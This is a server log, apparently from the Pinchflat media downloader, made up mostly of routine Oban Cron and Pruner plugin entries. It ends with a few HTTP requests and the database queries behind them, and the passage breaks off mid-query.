{"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:13:24.906 [info] {"source":"oban","duration":1106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:54.908 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:00.075 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:14:24.910 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:54.912 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:00.076 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:15:24.913 [info] {"source":"oban","duration":904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:54.916 [info] {"source":"oban","duration":1001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:00.077 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:16:24.918 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:54.920 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:00.078 [info] {"source":"oban","duration":249,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:17:24.922 [info] {"source":"oban","duration":1107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:54.924 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:00.079 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:18:24.926 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:54.928 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:00.080 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:19:24.930 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:54.932 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:00.081 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:20:24.934 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:54.936 [info] {"source":"oban","duration":897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:00.082 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:21:24.938 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:54.940 [info] {"source":"oban","duration":1030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:00.083 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:22:24.941 [info] {"source":"oban","duration":948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:54.944 [info] {"source":"oban","duration":923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:00.084 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:23:24.946 [info] {"source":"oban","duration":1143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:54.948 [info] {"source":"oban","duration":980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:00.085 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:24:24.950 [info] {"source":"oban","duration":1155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:54.952 [info] {"source":"oban","duration":1223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:00.086 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:25:24.953 [info] {"source":"oban","duration":944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:54.955 [info] {"source":"oban","duration":882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:00.087 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:26:24.958 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:54.960 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:00.088 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:27:24.962 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:54.964 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:00.089 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:28:24.966 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:54.968 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:00.090 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:29:24.970 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:54.972 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:00.091 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:30:24.974 [info] {"source":"oban","duration":1245,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:54.976 [info] {"source":"oban","duration":946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:00.092 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:31:24.978 [info] {"source":"oban","duration":1248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:54.980 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:00.093 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:32:24.982 [info] {"source":"oban","duration":1194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:54.984 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:00.094 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:33:24.986 [info] {"source":"oban","duration":1231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:54.988 [info] {"source":"oban","duration":1155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:00.095 [info] {"source":"oban","duration":208,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:34:24.990 [info] {"source":"oban","duration":890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:54.992 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:00.096 [info] {"source":"oban","duration":257,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:35:24.994 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:54.996 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:00.097 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:36:24.998 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:55.000 [info] {"source":"oban","duration":1620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:00.098 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:37:25.002 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:55.004 [info] {"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:00.099 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:38:25.006 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:55.008 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:00.100 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:39:25.010 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:55.012 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:00.101 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:40:25.014 [info] {"source":"oban","duration":962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:55.016 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:00.102 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:41:25.018 [info] {"source":"oban","duration":933,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:55.020 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:00.103 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:42:25.022 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:55.024 [info] {"source":"oban","duration":1036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:00.104 [info] {"source":"oban","duration":442,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:43:25.026 [info] {"source":"oban","duration":1272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:55.028 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:00.105 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:44:25.030 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:55.032 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:00.106 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:45:25.034 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:55.036 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:00.107 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:46:25.038 [info] {"source":"oban","duration":1248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:55.040 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:00.108 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:47:25.042 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:55.044 [info] {"source":"oban","duration":1172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:00.109 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:48:25.046 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:55.048 [info] {"source":"oban","duration":1069,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:00.110 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:49:25.050 [info] {"source":"oban","duration":1012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:55.052 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:00.111 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:50:25.054 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:55.056 [info] {"source":"oban","duration":1000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:00.112 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:51:25.058 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:55.060 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:00.113 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:52:25.062 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:55.064 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:00.114 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:53:25.066 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:55.068 [info] {"source":"oban","duration":1175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:00.115 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:54:25.070 [info] {"source":"oban","duration":1384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:55.072 [info] {"source":"oban","duration":1343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:00.116 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:55:25.074 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:55.076 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:00.117 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:56:25.078 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:55.080 [info] {"source":"oban","duration":1173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:00.118 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:57:25.082 [info] {"source":"oban","duration":1107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:55.084 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:00.119 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:58:25.086 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:55.088 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:00.120 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:59:25.090 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:55.092 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:00.121 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:00:25.094 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:55.096 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:00.122 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:01:25.098 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:55.100 [info] {"source":"oban","duration":1647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:00.124 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:02:25.102 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:55.104 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:00.125 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:03:25.106 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:55.108 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:00.126 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:04:25.110 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:55.112 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:00.127 [info] {"source":"oban","duration":222,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:05:25.114 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:55.116 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:00.128 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:06:25.118 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:55.119 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:00.129 [info] {"source":"oban","duration":208,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:07:25.121 [info] {"source":"oban","duration":1187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:55.123 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:00.130 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:08:25.125 [info] {"source":"oban","duration":912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:55.127 [info] {"source":"oban","duration":1119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:00.131 [info] {"source":"oban","duration":235,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:09:25.129 [info] {"source":"oban","duration":1404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:55.131 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:00.132 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:10:25.133 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:55.135 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:00.133 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:11:25.137 [info] {"source":"oban","duration":1272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:55.139 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:00.134 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:12:25.141 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:55.143 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:00.135 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:13:25.145 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:55.147 [info] {"source":"oban","duration":1740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:00.136 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:14:16.677 [info] GET /sources/new 00:14:16.677 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{} Pipelines: [:browser] 00:14:16.678 [debug] QUERY OK source="media_profiles" db=0.4ms idle=1047.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 00:14:16.679 [debug] QUERY OK source="settings" db=0.8ms idle=908.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:14:16.680 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=37.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:14:16.681 [debug] QUERY OK source="settings" db=0.3ms idle=37.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:14:16.682 [debug] QUERY OK source="settings" db=0.2ms idle=39.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:14:16.684 [debug] QUERY OK source="settings" db=0.3ms idle=5.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:14:16.689 [info] Sent 200 in 12ms 00:14:17.178 [info] GET /sources/2 00:14:17.178 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 00:14:17.180 [debug] QUERY OK source="sources" db=0.5ms idle=499.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 00:14:17.181 [debug] QUERY OK source="media_profiles" db=0.3ms idle=499.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:14:17.182 [debug] QUERY OK source="tasks" db=0.3ms idle=499.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 00:14:17.182 [debug] QUERY OK source="settings" db=0.2ms idle=498.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:14:17.183 [debug] QUERY OK source="settings" db=0.2ms idle=410.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:14:17.184 [debug] QUERY OK source="settings" db=0.4ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:14:17.187 [debug] QUERY OK source="sources" db=0.4ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 00:14:17.189 [debug] QUERY OK source="media_items" db=0.9ms idle=6.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" 